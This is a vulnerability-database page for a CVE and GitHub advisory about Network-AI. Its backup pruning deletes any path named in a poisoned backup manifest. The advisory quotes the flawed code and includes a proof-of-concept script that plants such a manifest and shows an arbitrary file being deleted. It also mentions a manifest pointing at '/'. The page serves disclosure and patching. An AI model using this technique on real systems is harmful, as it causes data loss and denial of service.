Vulnerability-Lookup

CVE-2026-58484 (GCVE-0-2026-58484)

Vulnerability from cvelistv5 – Published: 2026-07-20 17:00 – Updated: 2026-07-20 18:52

Title

Network-AI: Poisoned environment backup manifest allows arbitrary recursive deletion during backup pruning

Summary

Network-AI is a TypeScript/Node.js multi-agent orchestrator. Prior to version 5.12.2, `EnvironmentManager.listBackups()` reads each backup's `_manifest.json` and trusts the manifest's `path` field. `EnvironmentManager.pruneBackups()` later passes that trusted `entry.path` directly to `rmSync(entry.path, { recursive: true, force: true })`. An attacker who can place or modify a manifest inside `data/<env>/.backups/<name>/_manifest.json` can cause `network-ai env backup prune --env <env> --keep <n>` or any code path invoking `pruneBackups()` to recursively delete an arbitrary path accessible to the Network-AI process user. This is fixed in v5.12.2. `pruneBackups()` no longer passes `entry.path` from the on-disk manifest to `rmSync`. The deletion path is recomputed from a format-validated `entry.backupId`, and a `dirname` containment check confines deletion to exactly one level under the backups directory. A poisoned manifest (e.g. `"path": "/"`) is now inert.

Severity

7.1 (High)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H

SSVC

Exploitation: poc Automatable: no Technical Impact: total

CISA Coordinator · CISA-ADP (v2.0.3)

Decision recorded 2026-07-20 18:52 UTC

CWE

CWE-22 - Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
CWE-73 - External Control of File Name or Path

Assigner

GitHub_M mitre root

References

3 references

URL	Tags
https://github.com/Jovancoding/Network-AI/securit…	x_refsource_CONFIRM
https://github.com/Jovancoding/Network-AI/commit/…	x_refsource_MISC
https://github.com/Jovancoding/Network-AI/release…	x_refsource_MISC

Impacted products

1 product

Vendor	Product	Version	CPE status
Jovancoding	Network-AI	Affected: < 5.12.2	guessed

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2026-58484",
                "options": [
                  {
                    "Exploitation": "poc"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "total"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-07-20T18:52:35.175448Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-07-20T18:52:43.854Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "references": [
          {
            "tags": [
              "exploit"
            ],
            "url": "https://github.com/Jovancoding/Network-AI/security/advisories/GHSA-2fmp-9rvw-hc96"
          }
        ],
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "Network-AI",
          "vendor": "Jovancoding",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 5.12.2"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "Network-AI is a TypeScript/Node.js multi-agent orchestrator. Prior to version 5.12.2, `EnvironmentManager.listBackups()` reads each backup\u0027s `_manifest.json` and trusts the manifest\u0027s `path` field. `EnvironmentManager.pruneBackups()` later passes that trusted `entry.path` directly to `rmSync(entry.path, { recursive: true, force: true })`. An attacker who can place or modify a manifest inside `data/\u003cenv\u003e/.backups/\u003cname\u003e/_manifest.json` can cause `network-ai env backup prune --env \u003cenv\u003e --keep \u003cn\u003e` or any code path invoking `pruneBackups()` to recursively delete an arbitrary path accessible to the Network-AI process user. This is fixed in v5.12.2. `pruneBackups()` no longer passes `entry.path` from the on-disk manifest to `rmSync`. The deletion path is recomputed from a format-validated `entry.backupId`, and a `dirname` containment check confines deletion to exactly one level under the backups directory. A poisoned manifest (e.g. `\"path\": \"/\"`) is now inert."
        }
      ],
      "metrics": [
        {
          "cvssV3_1": {
            "attackComplexity": "LOW",
            "attackVector": "LOCAL",
            "availabilityImpact": "HIGH",
            "baseScore": 7.1,
            "baseSeverity": "HIGH",
            "confidentialityImpact": "NONE",
            "integrityImpact": "HIGH",
            "privilegesRequired": "LOW",
            "scope": "UNCHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H",
            "version": "3.1"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-22",
              "description": "CWE-22: Improper Limitation of a Pathname to a Restricted Directory (\u0027Path Traversal\u0027)",
              "lang": "en",
              "type": "CWE"
            }
          ]
        },
        {
          "descriptions": [
            {
              "cweId": "CWE-73",
              "description": "CWE-73: External Control of File Name or Path",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-07-20T17:00:56.125Z",
        "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "shortName": "GitHub_M"
      },
      "references": [
        {
          "name": "https://github.com/Jovancoding/Network-AI/security/advisories/GHSA-2fmp-9rvw-hc96",
          "tags": [
            "x_refsource_CONFIRM"
          ],
          "url": "https://github.com/Jovancoding/Network-AI/security/advisories/GHSA-2fmp-9rvw-hc96"
        },
        {
          "name": "https://github.com/Jovancoding/Network-AI/commit/a59c13a1f0ce0e8a0779a90343eef92fac5ab4c3",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/Jovancoding/Network-AI/commit/a59c13a1f0ce0e8a0779a90343eef92fac5ab4c3"
        },
        {
          "name": "https://github.com/Jovancoding/Network-AI/releases/tag/v5.12.2",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/Jovancoding/Network-AI/releases/tag/v5.12.2"
        }
      ],
      "source": {
        "advisory": "GHSA-2fmp-9rvw-hc96",
        "discovery": "UNKNOWN"
      },
      "title": "Network-AI: Poisoned environment backup manifest allows arbitrary recursive deletion during backup pruning"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
    "assignerShortName": "GitHub_M",
    "cveId": "CVE-2026-58484",
    "datePublished": "2026-07-20T17:00:56.125Z",
    "dateReserved": "2026-06-30T20:21:25.811Z",
    "dateUpdated": "2026-07-20T18:52:43.854Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2",
  "vulnerability-lookup:meta": {
    "epss": {
      "cve": "CVE-2026-58484",
      "date": "2026-09-17",
      "epss": "0.00207",
      "percentile": "0.11112"
    },
    "nvd": "{\"cve\":{\"id\":\"CVE-2026-58484\",\"sourceIdentifier\":\"security-advisories@github.com\",\"published\":\"2026-07-20T17:18:16.160\",\"lastModified\":\"2026-08-13T16:24:58.937\",\"vulnStatus\":\"Analyzed\",\"cveTags\":[],\"descriptions\":[{\"lang\":\"en\",\"value\":\"Network-AI is a TypeScript/Node.js multi-agent orchestrator. Prior to version 5.12.2, `EnvironmentManager.listBackups()` reads each backup\u0027s `_manifest.json` and trusts the manifest\u0027s `path` field. `EnvironmentManager.pruneBackups()` later passes that trusted `entry.path` directly to `rmSync(entry.path, { recursive: true, force: true })`. An attacker who can place or modify a manifest inside `data/\u003cenv\u003e/.backups/\u003cname\u003e/_manifest.json` can cause `network-ai env backup prune --env \u003cenv\u003e --keep \u003cn\u003e` or any code path invoking `pruneBackups()` to recursively delete an arbitrary path accessible to the Network-AI process user. This is fixed in v5.12.2. `pruneBackups()` no longer passes `entry.path` from the on-disk manifest to `rmSync`. The deletion path is recomputed from a format-validated `entry.backupId`, and a `dirname` containment check confines deletion to exactly one level under the backups directory. A poisoned manifest (e.g. `\\\"path\\\": \\\"/\\\"`) is now inert.\"}],\"affected\":[{\"source\":\"security-advisories@github.com\",\"affectedData\":[{\"vendor\":\"Jovancoding\",\"product\":\"Network-AI\",\"versions\":[{\"version\":\"\u003c 5.12.2\",\"status\":\"affected\"}]}]}],\"metrics\":{\"cvssMetricV31\":[{\"source\":\"security-advisories@github.com\",\"type\":\"Secondary\",\"cvssData\":{\"version\":\"3.1\",\"vectorString\":\"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H\",\"baseScore\":7.1,\"baseSeverity\":\"HIGH\",\"attackVector\":\"LOCAL\",\"attackComplexity\":\"LOW\",\"privilegesRequired\":\"LOW\",\"userInteraction\":\"NONE\",\"scope\":\"UNCHANGED\",\"confidentialityImpact\":\"NONE\",\"integrityImpact\":\"HIGH\",\"availabilityImpact\":\"HIGH\"},\"exploitabilityScore\":1.8,\"impactScore\":5.2}],\"ssvcV203\":[{\"source\":\"134c704f-9b21-4f2e-91b3-4a467353bcc0\",\"ssvcData\":{\"timestamp\":\"2026-07-20T18:52:35.175448Z\",\"id\":\"CVE-2026-58484\",\"options\":[{\"exploitation\":\"poc\"},{\"automatable\":\"no\"},{\"technicalImpact\":\"total\"}],\"role\":\"CISA Coordinator\",\"version\":\"2.0.3\"}}]},\"weaknesses\":[{\"source\":\"security-advisories@github.com\",\"type\":\"Secondary\",\"description\":[{\"lang\":\"en\",\"value\":\"CWE-22\"},{\"lang\":\"en\",\"value\":\"CWE-73\"}]}],\"configurations\":[{\"nodes\":[{\"operator\":\"OR\",\"negate\":false,\"cpeMatch\":[{\"vulnerable\":true,\"criteria\":\"cpe:2.3:a:network-ai:network-ai:*:*:*:*:*:*:*:*\",\"versionEndExcluding\":\"5.12.2\",\"matchCriteriaId\":\"BF88D260-4A40-49E0-8A7C-7F568AD9BABC\"}]}]}],\"references\":[{\"url\":\"https://github.com/Jovancoding/Network-AI/commit/a59c13a1f0ce0e8a0779a90343eef92fac5ab4c3\",\"source\":\"security-advisories@github.com\",\"tags\":[\"Patch\"]},{\"url\":\"https://github.com/Jovancoding/Network-AI/releases/tag/v5.12.2\",\"source\":\"security-advisories@github.com\",\"tags\":[\"Patch\",\"Release Notes\"]},{\"url\":\"https://github.com/Jovancoding/Network-AI/security/advisories/GHSA-2fmp-9rvw-hc96\",\"source\":\"security-advisories@github.com\",\"tags\":[\"Exploit\",\"Patch\",\"Vendor Advisory\"]},{\"url\":\"https://github.com/Jovancoding/Network-AI/security/advisories/GHSA-2fmp-9rvw-hc96\",\"source\":\"134c704f-9b21-4f2e-91b3-4a467353bcc0\",\"tags\":[\"Exploit\",\"Patch\",\"Vendor Advisory\"]}]}}",
    "vulnrichment": {
      "containers": "{\"adp\": [{\"title\": \"CISA ADP Vulnrichment\", \"metrics\": [{\"other\": {\"type\": \"ssvc\", \"content\": {\"id\": \"CVE-2026-58484\", \"role\": \"CISA Coordinator\", \"options\": [{\"Exploitation\": \"poc\"}, {\"Automatable\": \"no\"}, {\"Technical Impact\": \"total\"}], \"version\": \"2.0.3\", \"timestamp\": \"2026-07-20T18:52:35.175448Z\"}}}], \"references\": [{\"url\": \"https://github.com/Jovancoding/Network-AI/security/advisories/GHSA-2fmp-9rvw-hc96\", \"tags\": [\"exploit\"]}], \"providerMetadata\": {\"orgId\": \"134c704f-9b21-4f2e-91b3-4a467353bcc0\", \"shortName\": \"CISA-ADP\", \"dateUpdated\": \"2026-07-20T18:52:18.239Z\"}}], \"cna\": {\"title\": \"Network-AI: Poisoned environment backup manifest allows arbitrary recursive deletion during backup pruning\", \"source\": {\"advisory\": \"GHSA-2fmp-9rvw-hc96\", \"discovery\": \"UNKNOWN\"}, \"metrics\": [{\"cvssV3_1\": {\"scope\": \"UNCHANGED\", \"version\": \"3.1\", \"baseScore\": 7.1, \"attackVector\": \"LOCAL\", \"baseSeverity\": \"HIGH\", \"vectorString\": \"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H\", \"integrityImpact\": \"HIGH\", \"userInteraction\": \"NONE\", \"attackComplexity\": \"LOW\", \"availabilityImpact\": \"HIGH\", \"privilegesRequired\": \"LOW\", \"confidentialityImpact\": \"NONE\"}}], \"affected\": [{\"vendor\": \"Jovancoding\", \"product\": \"Network-AI\", \"versions\": [{\"status\": \"affected\", \"version\": \"\u003c 5.12.2\"}]}], \"references\": [{\"url\": \"https://github.com/Jovancoding/Network-AI/security/advisories/GHSA-2fmp-9rvw-hc96\", \"name\": \"https://github.com/Jovancoding/Network-AI/security/advisories/GHSA-2fmp-9rvw-hc96\", \"tags\": [\"x_refsource_CONFIRM\"]}, {\"url\": \"https://github.com/Jovancoding/Network-AI/commit/a59c13a1f0ce0e8a0779a90343eef92fac5ab4c3\", \"name\": \"https://github.com/Jovancoding/Network-AI/commit/a59c13a1f0ce0e8a0779a90343eef92fac5ab4c3\", \"tags\": [\"x_refsource_MISC\"]}, {\"url\": \"https://github.com/Jovancoding/Network-AI/releases/tag/v5.12.2\", \"name\": \"https://github.com/Jovancoding/Network-AI/releases/tag/v5.12.2\", \"tags\": [\"x_refsource_MISC\"]}], \"descriptions\": [{\"lang\": \"en\", \"value\": \"Network-AI is a TypeScript/Node.js multi-agent orchestrator. Prior to version 5.12.2, `EnvironmentManager.listBackups()` reads each backup\u0027s `_manifest.json` and trusts the manifest\u0027s `path` field. `EnvironmentManager.pruneBackups()` later passes that trusted `entry.path` directly to `rmSync(entry.path, { recursive: true, force: true })`. An attacker who can place or modify a manifest inside `data/\u003cenv\u003e/.backups/\u003cname\u003e/_manifest.json` can cause `network-ai env backup prune --env \u003cenv\u003e --keep \u003cn\u003e` or any code path invoking `pruneBackups()` to recursively delete an arbitrary path accessible to the Network-AI process user. This is fixed in v5.12.2. `pruneBackups()` no longer passes `entry.path` from the on-disk manifest to `rmSync`. The deletion path is recomputed from a format-validated `entry.backupId`, and a `dirname` containment check confines deletion to exactly one level under the backups directory. A poisoned manifest (e.g. `\\\"path\\\": \\\"/\\\"`) is now inert.\"}], \"problemTypes\": [{\"descriptions\": [{\"lang\": \"en\", \"type\": \"CWE\", \"cweId\": \"CWE-22\", \"description\": \"CWE-22: Improper Limitation of a Pathname to a Restricted Directory (\u0027Path Traversal\u0027)\"}]}, {\"descriptions\": [{\"lang\": \"en\", \"type\": \"CWE\", \"cweId\": \"CWE-73\", \"description\": \"CWE-73: External Control of File Name or Path\"}]}], \"providerMetadata\": {\"orgId\": \"a0819718-46f1-4df5-94e2-005712e83aaa\", \"shortName\": \"GitHub_M\", \"dateUpdated\": \"2026-07-20T17:00:56.125Z\"}}}",
      "cveMetadata": "{\"cveId\": \"CVE-2026-58484\", \"state\": \"PUBLISHED\", \"dateUpdated\": \"2026-07-20T18:52:43.854Z\", \"dateReserved\": \"2026-06-30T20:21:25.811Z\", \"assignerOrgId\": \"a0819718-46f1-4df5-94e2-005712e83aaa\", \"datePublished\": \"2026-07-20T17:00:56.125Z\", \"assignerShortName\": \"GitHub_M\"}",
      "dataType": "CVE_RECORD",
      "dataVersion": "5.2"
    }
  }
}

FKIE_CVE-2026-58484

Vulnerability from fkie_nvd - Published: 2026-07-20 17:18 - Updated: 2026-08-13 16:24

Severity

7.1 (High) - CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H

Summary

References

URL	Tags
security-advisories@github.com	https://github.com/Jovancoding/Network-AI/commit/a59c13a1f0ce0e8a0779a90343eef92fac5ab4c3	Patch
security-advisories@github.com	https://github.com/Jovancoding/Network-AI/releases/tag/v5.12.2	Patch, Release Notes
security-advisories@github.com	https://github.com/Jovancoding/Network-AI/security/advisories/GHSA-2fmp-9rvw-hc96	Exploit, Patch, Vendor Advisory
134c704f-9b21-4f2e-91b3-4a467353bcc0	https://github.com/Jovancoding/Network-AI/security/advisories/GHSA-2fmp-9rvw-hc96	Exploit, Patch, Vendor Advisory

Impacted products

	Vendor	Product	Version
	network-ai	network-ai	*

JSON

To clipboard

{
  "affected": [
    {
      "affectedData": [
        {
          "product": "Network-AI",
          "vendor": "Jovancoding",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 5.12.2"
            }
          ]
        }
      ],
      "source": "security-advisories@github.com"
    }
  ],
  "configurations": [
    {
      "nodes": [
        {
          "cpeMatch": [
            {
              "criteria": "cpe:2.3:a:network-ai:network-ai:*:*:*:*:*:*:*:*",
              "matchCriteriaId": "BF88D260-4A40-49E0-8A7C-7F568AD9BABC",
              "versionEndExcluding": "5.12.2",
              "vulnerable": true
            }
          ],
          "negate": false,
          "operator": "OR"
        }
      ]
    }
  ],
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "Network-AI is a TypeScript/Node.js multi-agent orchestrator. Prior to version 5.12.2, `EnvironmentManager.listBackups()` reads each backup\u0027s `_manifest.json` and trusts the manifest\u0027s `path` field. `EnvironmentManager.pruneBackups()` later passes that trusted `entry.path` directly to `rmSync(entry.path, { recursive: true, force: true })`. An attacker who can place or modify a manifest inside `data/\u003cenv\u003e/.backups/\u003cname\u003e/_manifest.json` can cause `network-ai env backup prune --env \u003cenv\u003e --keep \u003cn\u003e` or any code path invoking `pruneBackups()` to recursively delete an arbitrary path accessible to the Network-AI process user. This is fixed in v5.12.2. `pruneBackups()` no longer passes `entry.path` from the on-disk manifest to `rmSync`. The deletion path is recomputed from a format-validated `entry.backupId`, and a `dirname` containment check confines deletion to exactly one level under the backups directory. A poisoned manifest (e.g. `\"path\": \"/\"`) is now inert."
    }
  ],
  "id": "CVE-2026-58484",
  "lastModified": "2026-08-13T16:24:58.937",
  "metrics": {
    "cvssMetricV31": [
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "LOCAL",
          "availabilityImpact": "HIGH",
          "baseScore": 7.1,
          "baseSeverity": "HIGH",
          "confidentialityImpact": "NONE",
          "integrityImpact": "HIGH",
          "privilegesRequired": "LOW",
          "scope": "UNCHANGED",
          "userInteraction": "NONE",
          "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H",
          "version": "3.1"
        },
        "exploitabilityScore": 1.8,
        "impactScore": 5.2,
        "source": "security-advisories@github.com",
        "type": "Secondary"
      }
    ],
    "ssvcV203": [
      {
        "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
        "ssvcData": {
          "id": "CVE-2026-58484",
          "options": [
            {
              "exploitation": "poc"
            },
            {
              "automatable": "no"
            },
            {
              "technicalImpact": "total"
            }
          ],
          "role": "CISA Coordinator",
          "timestamp": "2026-07-20T18:52:35.175448Z",
          "version": "2.0.3"
        }
      }
    ]
  },
  "published": "2026-07-20T17:18:16.160",
  "references": [
    {
      "source": "security-advisories@github.com",
      "tags": [
        "Patch"
      ],
      "url": "https://github.com/Jovancoding/Network-AI/commit/a59c13a1f0ce0e8a0779a90343eef92fac5ab4c3"
    },
    {
      "source": "security-advisories@github.com",
      "tags": [
        "Patch",
        "Release Notes"
      ],
      "url": "https://github.com/Jovancoding/Network-AI/releases/tag/v5.12.2"
    },
    {
      "source": "security-advisories@github.com",
      "tags": [
        "Exploit",
        "Patch",
        "Vendor Advisory"
      ],
      "url": "https://github.com/Jovancoding/Network-AI/security/advisories/GHSA-2fmp-9rvw-hc96"
    },
    {
      "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
      "tags": [
        "Exploit",
        "Patch",
        "Vendor Advisory"
      ],
      "url": "https://github.com/Jovancoding/Network-AI/security/advisories/GHSA-2fmp-9rvw-hc96"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Analyzed",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-22"
        },
        {
          "lang": "en",
          "value": "CWE-73"
        }
      ],
      "source": "security-advisories@github.com",
      "type": "Secondary"
    }
  ]
}

GHSA-2FMP-9RVW-HC96

Vulnerability from github – Published: 2026-06-19 21:42 – Updated: 2026-06-19 21:42

Summary

Network-AI: Poisoned environment backup manifest allows arbitrary recursive deletion during backup pruning

Details

Summary

EnvironmentManager.listBackups() reads each backup's _manifest.json and trusts the manifest's path field. EnvironmentManager.pruneBackups() later passes that trusted entry.path directly to rmSync(entry.path, { recursive: true, force: true }).

An attacker who can place or modify a manifest inside data/<env>/.backups/<name>/_manifest.json can cause network-ai env backup prune --env <env> --keep <n> or any code path invoking pruneBackups() to recursively delete an arbitrary path accessible to the Network-AI process user. Confirmed in Network-AI 5.12.1.

Details

listBackups() trusts manifest content from disk:

for (const name of readdirSync(backupsDir)) {
  const manifest = join(backupsDir, name, '_manifest.json');
  if (existsSync(manifest)) {
    try {
      const entry = JSON.parse(readFileSync(manifest, 'utf-8')) as BackupEntry;
      entries.push(entry);
    } catch { /* corrupt manifest, skip */ }
  }
}

pruneBackups() uses the attacker-controlled entry.path as the deletion target:

const toDelete = all.slice(keep);
let deleted = 0;
for (const entry of toDelete) {
  try {
    rmSync(entry.path, { recursive: true, force: true });
    deleted++;
  } catch { /* ignore */ }
}

Default CLI reachability exists through network-ai env backup prune --env <env> --keep <n>.

Affected source evidence:

lib/env-manager.ts:505-523 — reads trusted backup entries from _manifest.json.
lib/env-manager.ts:529-541 — recursively deletes entry.path.
bin/cli.ts:464-472 — default CLI exposes backup pruning.

PoC

This PoC uses only a temporary directory and deletes only a temporary file:

TMP=$(mktemp -d)
TMPBASE="$TMP" node -r ts-node/register/transpile-only - <<'TS'
const { EnvironmentManager } = require('./lib/env-manager');
const fs = require('fs');
const path = require('path');
const base = process.env.TMPBASE;

const mgr = new EnvironmentManager(path.join(base, 'data'), {
  chain: ['dev', 'st'],
  gates: { dev: 'auto', st: 'auto' },
});

mgr.init('dev');
fs.writeFileSync(path.join(base, 'victim.txt'), 'safe');

const backupsDir = path.join(base, 'data', 'dev', '.backups');
fs.mkdirSync(path.join(backupsDir, 'evil'), { recursive: true });
fs.writeFileSync(
  path.join(backupsDir, 'evil', '_manifest.json'),
  JSON.stringify({
    backupId: 'evil',
    env: 'dev',
    timestamp: '2000-01-01T00:00:00.000Z',
    sizeBytes: 0,
    path: path.join(base, 'victim.txt'),
  })
);

console.log(JSON.stringify({
  before: fs.existsSync(path.join(base, 'victim.txt')),
  deleted: mgr.pruneBackups('dev', 0),
  after: fs.existsSync(path.join(base, 'victim.txt')),
}, null, 2));

fs.rmSync(base, { recursive: true, force: true });
TS

Observed result: before is true, deleted is 1, and after is false, proving deletion occurred outside data/dev/.backups.

Impact

An attacker with write access to the Network-AI data directory can cause recursive deletion of arbitrary filesystem paths accessible to the Network-AI process user when backup pruning runs. This can delete project files, data directories, or other process-writable paths, causing data loss and denial of service. No RCE chain was confirmed.

Resolution (maintainer)

Fixed in v5.12.2 (commit a59c13a). Install: npm install network-ai@5.12.2 — published to npm with provenance.

pruneBackups() no longer passes entry.path from the on-disk manifest to rmSync. The deletion path is recomputed from a format-validated entry.backupId, and a dirname containment check confines deletion to exactly one level under the backups directory. A poisoned manifest (e.g. "path": "/") is now inert.

All 3,269 tests pass against the patched build. Thanks to @sondt99 for the responsible disclosure.

Severity

7.1 (High)


                  
                    CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 5.12.1"
      },
      "package": {
        "ecosystem": "npm",
        "name": "network-ai"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "5.12.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-22",
      "CWE-73"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-19T21:42:26Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Summary\n`EnvironmentManager.listBackups()` reads each backup\u0027s `_manifest.json` and trusts the manifest\u0027s `path` field. `EnvironmentManager.pruneBackups()` later passes that trusted `entry.path` directly to `rmSync(entry.path, { recursive: true, force: true })`.\n\nAn attacker who can place or modify a manifest inside `data/\u003cenv\u003e/.backups/\u003cname\u003e/_manifest.json` can cause `network-ai env backup prune --env \u003cenv\u003e --keep \u003cn\u003e` or any code path invoking `pruneBackups()` to recursively delete an arbitrary path accessible to the Network-AI process user. Confirmed in Network-AI 5.12.1.\n\n### Details\n`listBackups()` trusts manifest content from disk:\n\n```ts\nfor (const name of readdirSync(backupsDir)) {\n  const manifest = join(backupsDir, name, \u0027_manifest.json\u0027);\n  if (existsSync(manifest)) {\n    try {\n      const entry = JSON.parse(readFileSync(manifest, \u0027utf-8\u0027)) as BackupEntry;\n      entries.push(entry);\n    } catch { /* corrupt manifest, skip */ }\n  }\n}\n```\n\n`pruneBackups()` uses the attacker-controlled `entry.path` as the deletion target:\n\n```ts\nconst toDelete = all.slice(keep);\nlet deleted = 0;\nfor (const entry of toDelete) {\n  try {\n    rmSync(entry.path, { recursive: true, force: true });\n    deleted++;\n  } catch { /* ignore */ }\n}\n```\n\nDefault CLI reachability exists through `network-ai env backup prune --env \u003cenv\u003e --keep \u003cn\u003e`.\n\nAffected source evidence:\n\n- `lib/env-manager.ts:505-523` \u2014 reads trusted backup entries from `_manifest.json`.\n- `lib/env-manager.ts:529-541` \u2014 recursively deletes `entry.path`.\n- `bin/cli.ts:464-472` \u2014 default CLI exposes backup pruning.\n\n### PoC\nThis PoC uses only a temporary directory and deletes only a temporary file:\n\n```bash\nTMP=$(mktemp -d)\nTMPBASE=\"$TMP\" node -r ts-node/register/transpile-only - \u003c\u003c\u0027TS\u0027\nconst { EnvironmentManager } = require(\u0027./lib/env-manager\u0027);\nconst fs = require(\u0027fs\u0027);\nconst path = require(\u0027path\u0027);\nconst base = process.env.TMPBASE;\n\nconst mgr = new EnvironmentManager(path.join(base, \u0027data\u0027), {\n  chain: [\u0027dev\u0027, \u0027st\u0027],\n  gates: { dev: \u0027auto\u0027, st: \u0027auto\u0027 },\n});\n\nmgr.init(\u0027dev\u0027);\nfs.writeFileSync(path.join(base, \u0027victim.txt\u0027), \u0027safe\u0027);\n\nconst backupsDir = path.join(base, \u0027data\u0027, \u0027dev\u0027, \u0027.backups\u0027);\nfs.mkdirSync(path.join(backupsDir, \u0027evil\u0027), { recursive: true });\nfs.writeFileSync(\n  path.join(backupsDir, \u0027evil\u0027, \u0027_manifest.json\u0027),\n  JSON.stringify({\n    backupId: \u0027evil\u0027,\n    env: \u0027dev\u0027,\n    timestamp: \u00272000-01-01T00:00:00.000Z\u0027,\n    sizeBytes: 0,\n    path: path.join(base, \u0027victim.txt\u0027),\n  })\n);\n\nconsole.log(JSON.stringify({\n  before: fs.existsSync(path.join(base, \u0027victim.txt\u0027)),\n  deleted: mgr.pruneBackups(\u0027dev\u0027, 0),\n  after: fs.existsSync(path.join(base, \u0027victim.txt\u0027)),\n}, null, 2));\n\nfs.rmSync(base, { recursive: true, force: true });\nTS\n```\n\nObserved result: `before` is `true`, `deleted` is `1`, and `after` is `false`, proving deletion occurred outside `data/dev/.backups`.\n\n### Impact\nAn attacker with write access to the Network-AI data directory can cause recursive deletion of arbitrary filesystem paths accessible to the Network-AI process user when backup pruning runs. This can delete project files, data directories, or other process-writable paths, causing data loss and denial of service. No RCE chain was confirmed.\n\n\n---\n\n### Resolution (maintainer)\n\n**Fixed in [v5.12.2](https://github.com/Jovancoding/Network-AI/releases/tag/v5.12.2) (commit `a59c13a`).** Install: `npm install network-ai@5.12.2` \u2014 published to npm with provenance.\n\n`pruneBackups()` no longer passes `entry.path` from the on-disk manifest to `rmSync`. The deletion path is recomputed from a format-validated `entry.backupId`, and a `dirname` containment check confines deletion to exactly one level under the backups directory. A poisoned manifest (e.g. `\"path\": \"/\"`) is now inert.\n\nAll 3,269 tests pass against the patched build. Thanks to @sondt99 for the responsible disclosure.",
  "id": "GHSA-2fmp-9rvw-hc96",
  "modified": "2026-06-19T21:42:26Z",
  "published": "2026-06-19T21:42:26Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/Jovancoding/Network-AI/security/advisories/GHSA-2fmp-9rvw-hc96"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Jovancoding/Network-AI/commit/a59c13a1f0ce0e8a0779a90343eef92fac5ab4c3"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/Jovancoding/Network-AI"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Jovancoding/Network-AI/releases/tag/v5.12.2"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Network-AI: Poisoned environment backup manifest allows arbitrary recursive deletion during backup pruning"
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.

Action not permitted

CVE-2026-58484 (GCVE-0-2026-58484)

FKIE_CVE-2026-58484

GHSA-2FMP-9RVW-HC96

Summary

Details

PoC

Impact

Resolution (maintainer)

Tags

Sightings

Nomenclature

Related by attack behaviour